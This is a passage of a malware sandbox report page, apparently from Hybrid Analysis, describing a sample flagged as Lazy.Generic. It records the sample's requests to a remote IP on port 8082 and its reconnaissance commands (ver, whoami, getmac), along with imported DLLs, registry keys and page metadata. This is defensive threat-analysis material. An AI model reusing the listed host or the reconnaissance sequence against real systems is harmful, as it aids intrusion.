gzip,deflate","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"host":"201.77.179.66","host_ip":"201.77.179.66:8082","url":"/img/images/header/149C156F2F3AFE90.gif","method":"GET","response_code":"404","response_phrase":"Not Found","header":"GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1\nUser-Agent: dlang-requests\nHost: 201.77.179.66:8082\nConnection: Keep-Alive\nAccept-Encoding: gzip,deflate","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}],"processes":[{"pid":308,"ppid":0,"name":"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe","command_line":"","sha256":"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a","normalized_path":"C:\\9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe","uid":"00000000-00000308","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5596,"ppid":308,"name":"cmd.exe","command_line":"/C \"ver\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00000308","uid":"00000000-00005596"},{"pid":6344,"ppid":308,"name":"cmd.exe","command_line":"/C \"whoami\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00000308","uid":"00000000-00006344"},{"pid":4116,"ppid":6344,"name":"whoami.exe","command_line":"","sha256":"6c7c2450a80f401b8d3b33754c45d91d60d4a2055533542389551c0c609261d2","normalized_path":"%WINDIR%\\system32\\whoami.exe","parent_uid":"00000000-00006344","uid":"00000000-00004116"},{"pid":6676,"ppid":308,"name":"cmd.exe","command_line":"/C \"getmac\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00000308","uid":"00000000-00006676"},{"pid":3540,"ppid":6676,"name":"getmac.exe","command_line":"","sha256":"99f6fc9c39499591a321373ab4ea3164a456f8f222d42e112bb51364d79716bf","normalized_path":"%WINDIR%\\system32\\getmac.exe","parent_uid":"00000000-00006676","uid":"00000000-00003540"}],"all_imported_dlls":["rasadhlp.dll","sspicli.dll","wkscli.dll","wbemcomn.dll","combase.dll","nlaapi.dll","win32u.dll","fltLib.dll","dbghelp.dll","mswsock.dll","msvcp_win.dll","cryptbase.dll","dwmapi.dll","mpr.dll","ntdll.dll","sechost.dll","bcryptprimitives.dll","NapiNSP.dll","framedynos.dll","srvcli.dll","kernel32.dll","apphelp.dll","rpcrt4.dll","msvcrt.dll","version.dll","vcruntime140.dll","bcrypt.dll","pnrpnsp.dll","dnsapi.dll","FWPUCLNT.DLL","clbcatq.dll","VxSSL64.dll","libcrypto-1_1.dll","msctf.dll","user32.dll","ucrtbase.dll","nsi.dll","shlwapi.dll","wbemsvc.dll","rsaenh.dll","wbemprox.dll","ole32.dll","oleaut32.dll","uxtheme.dll","fastprox.dll","ws2_32.dll","advapi32.dll","netutils.dll","kernel.appcore.dll","authz.dll","gdi32.dll","gdi32full.dll","libssl-1_1.dll","IPHLPAPI.DLL","KernelBase.dll","imm32.dll","cryptsp.dll","winrnr.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"SynUnst.ini","sha256":"a6f79003bdb37a6c033d52dc4d4ebc6180aa1287cb5c40b8a94b81c8c9f1877e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}],"files_written":[{"path":"C:\\SynUnst.ini","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3540:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"name":"SM0:3540:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}]}},"report_ids":{"sandbox_job_ids":["6578435b7d5a1c66f00dcd1e"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Lazy.Generic Sample 9a48357c0675… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9a48357c0675…. Malware family: Lazy.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 8 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a"}],["$","meta","4",{"property":"og:title","content":"Malicious Lazy.Generic Sample 9a48357c0675… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9a48357c0675…. Malware family: Lazy.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 8 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Lazy.Generic Sample 9a48357c0675… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9a48357c0675…. Malware family: Lazy.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 8 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L45","11",{}]]